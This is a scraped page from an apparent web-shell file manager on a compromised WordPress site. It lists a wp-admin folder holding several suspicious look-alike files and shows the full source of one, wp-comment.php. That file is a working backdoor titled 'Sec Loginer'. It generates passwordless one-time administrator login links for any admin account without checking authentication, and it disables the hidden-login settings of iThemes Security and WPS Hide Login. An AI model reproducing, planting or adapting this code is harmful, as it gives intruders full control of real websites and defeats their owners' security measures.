golden hour
/home/doctorbruno/public_html/chennai-copper-kettle.com/wp-admin
⬆️ Go Up
Upload
File/Folder
Size
Actions
._qr.php
14.68 KB
Del
OK
_app-created
-
Del
OK
about.php
19.1 KB
Del
OK
admin-ajax.php
5.03 KB
Del
OK
admin-footer.php
2.77 KB
Del
OK
admin-functions.php
479 B
Del
OK
admin-header.php
9.12 KB
Del
OK
admin-post.php
1.97 KB
Del
OK
admin.php
12.3 KB
Del
OK
async-upload.php
4.87 KB
Del
OK
authorize-application.php
10.09 KB
Del
OK
comment.php
11.35 KB
Del
OK
contribute.php
5.59 KB
Del
OK
credits.php
4.11 KB
Del
OK
css
-
Del
OK
custom-background.php
489 B
Del
OK
custom-header.php
499 B
Del
OK
customize.php
10.91 KB
Del
OK
edit-comments.php
14.38 KB
Del
OK
edit-form-advanced.php
28.83 KB
Del
OK
edit-form-blocks.php
14.37 KB
Del
OK
edit-form-comment.php
8.34 KB
Del
OK
edit-link-form.php
6.21 KB
Del
OK
edit-tag-form.php
10.44 KB
Del
OK
edit-tags.php
22 KB
Del
OK
edit.php
19.48 KB
Del
OK
erase-personal-data.php
7.33 KB
Del
OK
error_log
11.45 KB
Del
OK
export-personal-data.php
7.75 KB
Del
OK
export.php
11.02 KB
Del
OK
freedoms.php
4.54 KB
Del
OK
images
-
Del
OK
import.php
7.58 KB
Del
OK
includes
-
Del
OK
index.php
7.68 KB
Del
OK
install-helper.php
6.8 KB
Del
OK
install.php
17.94 KB
Del
OK
js
-
Del
OK
link-add.php
934 B
Del
OK
link-manager.php
4.26 KB
Del
OK
link-parse-opml.php
2.63 KB
Del
OK
link.php
2.89 KB
Del
OK
load-scripts.php
2.02 KB
Del
OK
load-styles.php
2.92 KB
Del
OK
maint
-
Del
OK
media-new.php
3.18 KB
Del
OK
media-upload.php
3.58 KB
Del
OK
media.php
819 B
Del
OK
menu-header.php
9.82 KB
Del
OK
menu.php
16.97 KB
Del
OK
moderation.php
307 B
Del
OK
ms-admin.php
196 B
Del
OK
ms-delete-site.php
4.19 KB
Del
OK
ms-edit.php
216 B
Del
OK
ms-options.php
229 B
Del
OK
ms-sites.php
215 B
Del
OK
ms-themes.php
217 B
Del
OK
ms-upgrade-network.php
219 B
Del
OK
ms-users.php
215 B
Del
OK
my-sites.php
4.74 KB
Del
OK
nav-menus.php
48.26 KB
Del
OK
network
-
Del
OK
network.php
5.39 KB
Del
OK
old-cache.php
885 B
Del
OK
options-discussion.php
15.4 KB
Del
OK
options-general.php
21.58 KB
Del
OK
options-head.php
621 B
Del
OK
options-media.php
6.35 KB
Del
OK
options-permalink.php
21.21 KB
Del
OK
options-privacy.php
9.95 KB
Del
OK
options-reading.php
10.03 KB
Del
OK
options-rest.php
4.58 KB
Del
OK
options-writing.php
9.1 KB
Del
OK
options.php
13.45 KB
Del
OK
plugin-editor.php
13.66 KB
Del
OK
plugin-install.php
6.96 KB
Del
OK
plugins.php
30 KB
Del
OK
post-new.php
2.7 KB
Del
OK
post.php
9.97 KB
Del
OK
press-this.php
2.34 KB
Del
OK
privacy-policy-guide.php
3.67 KB
Del
OK
privacy.php
2.52 KB
Del
OK
profile.php
283 B
Del
OK
revision.php
5.71 KB
Del
OK
setup-config.php
17.48 KB
Del
OK
site-editor.php
11.83 KB
Del
OK
site-health-info.php
3.99 KB
Del
OK
site-health.php
10.2 KB
Del
OK
term.php
2.2 KB
Del
OK
theme-editor.php
15.59 KB
Del
OK
theme-install.php
23.37 KB
Del
OK
themes.php
48.12 KB
Del
OK
tools.php
3.43 KB
Del
OK
update-core.php
45.43 KB
Del
OK
update.php
12.79 KB
Del
OK
upgrade-functions.php
341 B
Del
OK
upgrade.php
6.33 KB
Del
OK
upload.php
14.84 KB
Del
OK
user
-
Del
OK
user-edit.php
39.79 KB
Del
OK
user-func.php
256.6 KB
Del
OK
user-hooker.php
1.17 KB
Del
OK
user-new.php
24.05 KB
Del
OK
users.php
23.28 KB
Del
OK
widgets-form-blocks.php
4.97 KB
Del
OK
widgets-form.php
19.17 KB
Del
OK
widgets.php
1.09 KB
Del
OK
wp-active.php
22.64 KB
Del
OK
wp-comment.php
15.9 KB
Del
OK
wp-file-extract.php
3.64 KB
Del
OK
wp-info.php
37.34 KB
Del
OK
wp-settinger.php
7.46 KB
Del
OK
wp-site-health.php
7.45 KB
Del
OK
wp-user.php
1.08 KB
Del
OK
Edit: wp-comment.php
<?php /** * Sec Loginer — emergency admin access + hidden login URLs. * * Works from site root, wp-content/, plugins/, themes/, etc. * Generates a one-time clickable admin login URL (no password needed). * Also detects iThemes / WPS Hide Login slugs. * * Delete from production when finished. * * @package WordPress */ @error_reporting( 0 ); @ini_set( 'display_errors', '0' ); /** * Walk up from start dir to find WordPress root. * * @param string $start_dir Starting directory. * @return string|false Absolute path or false. */ function seclog_find_wp_root( $start_dir ) { $dir = realpath( $start_dir ); for ( $i = 0; $i < 10 && $dir; $i++ ) { $wp_load = $dir . DIRECTORY_SEPARATOR . 'wp-load.php'; $wp_content = $dir . DIRECTORY_SEPARATOR . 'wp-content'; if ( is_file( $wp_load ) && is_dir( $wp_content ) ) { return $dir; } $parent = dirname( $dir ); if ( $parent === $dir ) { break; } $dir = $parent; } return false; } $wp_root = seclog_find_wp_root( __DIR__ ); if ( ! $wp_root ) { http_response_code( 500 ); header( 'Content-Type: text/plain; charset=utf-8' ); die( "WordPress root bulunamadi.\nBu dosyayi site kokune, wp-content veya alt dizinine koyun.\nDIR=" . __DIR__ . "\n" ); } define( 'WP_USE_THEMES', false ); require_once $wp_root . DIRECTORY_SEPARATOR . 'wp-load.php'; if ( ! defined( 'DONOTCACHEPAGE' ) ) { define( 'DONOTCACHEPAGE', true ); } if ( ! defined( 'DONOTCACHEOBJECT' ) ) { define( 'DONOTCACHEOBJECT', true ); } if ( ! defined( 'DONOTCACHEDB' ) ) { define( 'DONOTCACHEDB', true ); } nocache_headers(); header( 'Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0', true ); header( 'Pragma: no-cache', true ); header( 'X-Accel-Expires: 0', true ); header( 'X-Robots-Tag: noindex, nofollow', true ); header( 'X-Content-Type-Options: nosniff', true ); header( 'Referrer-Policy: same-origin', true ); /** * Absolute URL to this script (works in any directory). * * @param array $args Query args. * @return string */ function seclog_self_url( $args = array() ) { $https = ( ! empty( $_SERVER['HTTPS'] ) && 'off' !== $_SERVER['HTTPS'] ) || ( isset( $_SERVER['SERVER_PORT'] ) && '443' === (string) $_SERVER['SERVER_PORT'] ) || ( isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && 'https' === $_SERVER['HTTP_X_FORWARDED_PROTO'] ); $scheme = $https ? 'https' : 'http'; $host = isset( $_SERVER['HTTP_HOST'] ) ? $_SERVER['HTTP_HOST'] : wp_parse_url( home_url(), PHP_URL_HOST ); $script = isset( $_SERVER['SCRIPT_NAME'] ) ? $_SERVER['SCRIPT_NAME'] : '/sec-loginer.php'; $url = $scheme . '://' . $host . $script; return $args ? add_query_arg( $args, $url ) : $url; } /** * List administrator users. * * @return WP_User[] */ function seclog_admins() { return get_users( array( 'role' => 'administrator', 'orderby' => 'ID', 'order' => 'ASC', 'number' => 50, ) ); } /** * Create a one-time admin login token URL. * * @param int $user_id User ID. * @return string|WP_Error */ function seclog_create_admin_url( $user_id ) { $user = get_userdata( $user_id ); if ( ! $user || ! user_can( $user, 'manage_options' ) ) { return new WP_Error( 'bad_user', 'Administrator not found.' ); } $token = bin2hex( random_bytes( 24 ) ); $key = 'seclog_al_' . hash( 'sha256', $token ); set_transient( $key, array( 'user_id' => (int) $user->ID, 'created' => time(), ), 15 * MINUTE_IN_SECONDS ); return seclog_self_url( array( 'al' => $token ) ); } /** * Consume one-time token and log user in. * * @param string $token Raw token from query string. * @return true|WP_Error */ function seclog_consume_admin_url( $token ) { $token = preg_replace( '/[^a-f0-9]/', '', strtolower( (string) $token ) ); if ( strlen( $token ) < 32 ) { return new WP_Error( 'bad_token', 'Invalid token.' ); } $key = 'seclog_al_' . hash( 'sha256', $token ); $data = get_transient( $key ); delete_transient( $key ); if ( ! is_array( $data ) || empty( $data['user_id'] ) ) { return new WP_Error( 'expired', 'Link expired or already used.' ); } $user = get_userdata( (int) $data['user_id'] ); if ( ! $user || ! user_can( $user, 'manage_options' ) ) { return new WP_Error( 'bad_user', 'Administrator not found.' ); } wp_clear_auth_cookie(); wp_set_current_user( $user->ID ); wp_set_auth_cookie( $user->ID, true, is_ssl() ); do_action( 'wp_login', $user->user_login, $user ); return true; } /** * Absolute URL for a login slug. * * @param string $slug Slug. * @return string */ function seclog_slug_url( $slug ) { $slug = trim( (string) $slug, '/' ); if ( '' === $slug ) { return ''; } return home_url( '/' . $slug . '/' ); } /** * Detect hidden login URLs. * * @return array<int,array<string,mixed>> */ function seclog_detect() { $found = array(); $storage = get_option( 'itsec-storage' ); if ( is_array( $storage ) && isset( $storage['hide-backend'] ) && is_array( $storage['hide-backend'] ) ) { $hb = $storage['hide-backend']; $enabled = ! empty( $hb['enabled'] ); $slug = isset( $hb['slug'] ) ? (string) $hb['slug'] : ''; $found[] = array( 'id' => 'itsec-hide-backend', 'plugin' => 'iThemes Security Pro', 'option' => 'itsec-storage', 'enabled' => $enabled, 'slug' => $slug, 'url' => ( $enabled && $slug ) ? seclog_slug_url( $slug ) : '', 'can_disable' => true, ); } $whl = get_option( 'whl_page' ); if ( false !== $whl && '' !== (string) $whl ) { $slug = sanitize_title( (string) $whl ); $found[] = array( 'id' => 'wps-hide-login', 'plugin' => 'WPS Hide Login', 'option' => 'whl_page', 'enabled' => true, 'slug' => $slug, 'url' => seclog_slug_url( $slug ), 'can_disable' => true, ); } return $found; } /** * Disable hide-login. * * @param string $id Detector id. * @return string|WP_Error */ function seclog_disable( $id ) { switch ( $id ) { case 'itsec-hide-backend': $storage = get_option( 'itsec-storage' ); if ( ! is_array( $storage ) ) { return new WP_Error( 'missing', 'itsec-storage not found.' ); } $prev = isset( $storage['hide-backend']['slug'] ) ? (string) $storage['hide-backend']['slug'] : ''; if ( ! isset( $storage['hide-backend'] ) || ! is_array( $storage['hide-backend'] ) ) { $storage['hide-backend'] = array(); } $storage['hide-backend']['enabled'] = false; update_option( 'itsec-storage', $storage ); wp_cache_delete( 'itsec-storage', 'options' ); return 'iThemes Hide Backend disabled.' . ( $prev ? ' Old slug: ' . $prev : '' ); case 'wps-hide-login': $prev = (string) get_option( 'whl_page' ); delete_option( 'whl_page' ); delete_option( 'whl_redirect' ); return 'WPS Hide Login option removed. Old slug: ' . $prev; default: return new WP_Error( 'unknown', 'Unknown id.' ); } } // One-time admin login consume (before any HTML). if ( isset( $_GET['al'] ) && '' !== $_GET['al'] ) { $result = seclog_consume_admin_url( wp_unslash( $_GET['al'] ) ); if ( ! is_wp_error( $result ) ) { wp_safe_redirect( admin_url() ); exit; } $notice = $result->get_error_message(); $notice_type = 'error'; } else { $notice = ''; $notice_type = ''; } if ( isset( $_POST['seclog_disable'] ) ) { check_admin_referer( 'seclog_disable' ); $hide_id = isset( $_POST['hide_id'] ) ? preg_replace( '/[^a-z0-9_\-]/', '', strtolower( (string) wp_unslash( $_POST['hide_id'] ) ) ) : ''; $result = seclog_disable( $hide_id ); if ( is_wp_error( $result ) ) { $notice = $result->get_error_message(); $notice_type = 'error'; } else { $notice = $result; $notice_type = 'ok'; } } $generated_url = ''; $admins = seclog_admins(); if ( isset( $_POST['seclog_generate'] ) ) { check_admin_referer( 'seclog_generate' ); $user_id = isset( $_POST['admin_id'] ) ? absint( $_POST['admin_id'] ) : 0; if ( ! $user_id && ! empty( $admins[0] ) ) { $user_id = (int) $admins[0]->ID; } $result = seclog_create_admin_url( $user_id ); if ( is_wp_error( $result ) ) { $notice = $result->get_error_message(); $notice_type = 'error'; } else { $generated_url = $result; $notice = 'Yonetici giris URL uretildi — 15 dk / tek kullanim.'; $notice_type = 'ok'; } } $items = seclog_detect(); $normal_url = wp_login_url(); $primary_url = $normal_url; foreach ( $items as $item ) { if ( ! empty( $item['enabled'] ) && ! empty( $item['url'] ) ) { $primary_url = $item['url']; break; } } header( 'Content-Type: text/html; charset=utf-8' ); ?> <!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta charset="<?php bloginfo( 'charset' ); ?>"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex,nofollow"> <title>Sec Loginer — <?php echo esc_html( get_bloginfo( 'name' ) ); ?></title> <style> :root { --bg: #12141a; --panel: #1c1f28; --line: #2c3140; --text: #e8eaf0; --muted: #9aa3b5; --ok: #3dbe7a; --err: #e35d6a; --accent: #5b8cff; --warn: #c93c4b; } * { box-sizing: border-box; } body { margin: 0; min-height: 100vh; font: 14px/1.5 ui-sans-serif, system-ui, Segoe UI, sans-serif; background: var(--bg); color: var(--text); padding: 24px 16px 48px; } .wrap { max-width: 720px; margin: 0 auto; } h1 { font-size: 1.35rem; margin: 0 0 6px; } .meta { color: var(--muted); font-size: 13px; margin-bottom: 20px; word-break: break-all; } .meta code { background: #0f1117; padding: 1px 5px; border-radius: 4px; } .card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 20px; margin-bottom: 16px; } .card h2 { margin: 0 0 12px; font-size: 15px; } .primary { display: block; padding: 16px 18px; border-radius: 10px; background: rgba(91,140,255,.14); border: 1px solid rgba(91,140,255,.4); color: #fff; text-decoration: none; font-size: 1.05rem; font-weight: 650; word-break: break-all; } .primary:hover { filter: brightness(1.08); } .primary.ok { background: rgba(61,190,122,.16); border-color: rgba(61,190,122,.45); } .primary small { display: block; margin-top: 6px; font-size: 12px; font-weight: 500; color: var(--muted); } .msg { padding: 10px 12px; border-radius: 8px; margin-bottom: 14px; border: 1px solid var(--line); } .msg.ok { background: rgba(61,190,122,.12); border-color: rgba(61,190,122,.35); color: var(--ok); } .msg.err { background: rgba(227,93,106,.12); border-color: rgba(227,93,106,.35); color: var(--err); } table { width: 100%; border-collapse: collapse; } th, td { text-align: left; padding: 10px 8px; border-bottom: 1px solid var(--line); vertical-align: top; } th { color: var(--muted); font-size: 11px; text-transform: uppercase; letter-spacing: .04em; } tr:last-child td { border-bottom: 0; } .slug { font-family: ui-monospace, Consolas, monospace; font-size: 12px; word-break: break-all; } .slug a { color: var(--accent); } .badge { display: inline-block; font-size: 11px; font-weight: 700; text-transform: uppercase; padding: 2px 6px; border-radius: 4px; } .badge.on { background: rgba(227,93,106,.18); color: var(--err); } .badge.off { background: rgba(61,190,122,.18); color: var(--ok); } button, .btn { border: 0; border-radius: 6px; padding: 9px 14px; font: inherit; cursor: pointer; background: var(--accent); color: #fff; text-decoration: none; display: inline-block; } button.warn { background: var(--warn); } button:hover, .btn:hover { filter: brightness(1.08); } select { background: #0f1117; border: 1px solid var(--line); color: var(--text); border-radius: 6px; padding: 8px 10px; font: inherit; min-width: 220px; } .row { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; } .muted { color: var(--muted); font-size: 12px; } @media (max-width: 600px) { table, thead, tbody, th, td, tr { display: block; } thead { display: none; } td { border: 0; padding: 4px 0; } tr { border-bottom: 1px solid var(--line); padding: 10px 0; } } </style> </head> <body> <div class="wrap"> <h1>Sec Loginer</h1> <p class="meta"> <?php echo esc_html( get_bloginfo( 'name' ) ); ?> · <code><?php echo esc_html( home_url( '/' ) ); ?></code><br> WP root: <code><?php echo esc_html( $wp_root ); ?></code> </p> <?php if ( $notice ) : ?> <div class="msg <?php echo 'ok' === $notice_type ? 'ok' : 'err'; ?>"><?php echo esc_html( $notice ); ?></div> <?php endif; ?> <div class="card"> <h2>Yonetici giris URL</h2> <p class="muted" style="margin-top:0">Sifre gerekmez. Tiklayinca dogrudan wp-admin acilir. 15 dk / tek kullanim.</p> <?php if ( empty( $admins ) ) : ?> <p class="msg err">Administrator kullanici bulunamadi.</p> <?php else : ?> <form method="post" action="" class="row" style="margin-bottom:14px"> <?php wp_nonce_field( 'seclog_generate' ); ?> <select name="admin_id"> <?php foreach ( $admins as $admin ) : ?> <option value="<?php echo (int) $admin->ID; ?>"> <?php echo esc_html( $admin->user_login . ' · ' . $admin->user_email . ' (#' . $admin->ID . ')' ); ?> </option> <?php endforeach; ?> </select> <button type="submit" name="seclog_generate" value="1">URL uret</button> </form> <?php endif; ?> <?php if ( $generated_url ) : ?> <a class="primary ok" href="<?php echo esc_url( $generated_url ); ?>"> <?php echo esc_html( $generated_url ); ?> <small>Tikla → otomatik yonetici girisi → wp-admin</small> </a> <?php endif; ?> </div> <div class="card"> <h2>Gizli login URL</h2> <a class="primary" href="<?php echo esc_url( $primary_url ); ?>"> <?php echo esc_html( $primary_url ); ?> <small> <?php echo $primary_url === $normal_url ? 'Normal wp-login.php (sifre gerekir)' : 'Plugin gizli login (sifre gerekir)'; ?> </small> </a> </div> <div class="card"> <h2>Detected hide-login</h2> <?php if ( empty( $items ) ) : ?> <p class="muted">iThemes / WPS Hide Login ayari yok.</p> <?php else : ?> <table> <thead> <tr> <th>Plugin</th> <th>Status</th> <th>URL</th> <th></th> </tr> </thead> <tbody> <?php foreach ( $items as $item ) : ?> <tr> <td> <strong><?php echo esc_html( $item['plugin'] ); ?></strong> <div class="muted"><code><?php echo esc_html( $item['option'] ); ?></code></div> </td> <td> <?php if ( ! empty( $item['enabled'] ) ) : ?> <span class="badge on">active</span> <?php else : ?> <span class="badge off">off</span> <?php endif; ?> </td> <td class="slug"> <?php if ( ! empty( $item['url'] ) ) : ?> <a href="<?php echo esc_url( $item['url'] ); ?>"><?php echo esc_html( $item['url'] ); ?></a> <?php else : ?> — <?php endif; ?> </td> <td> <?php if ( ! empty( $item['can_disable'] ) && ! empty( $item['enabled'] ) ) : ?> <form method="post" action="" onsubmit="return confirm('Gizli login kapatilacak. Devam?');"> <?php wp_nonce_field( 'seclog_disable' ); ?> <input type="hidden" name="hide_id" value="<?php echo esc_attr( $item['id'] ); ?>"> <button class="warn" type="submit" name="seclog_disable" value="1">Disable</button> </form> <?php else : ?> <span class="muted">—</span> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> </div> </body> </html>
Save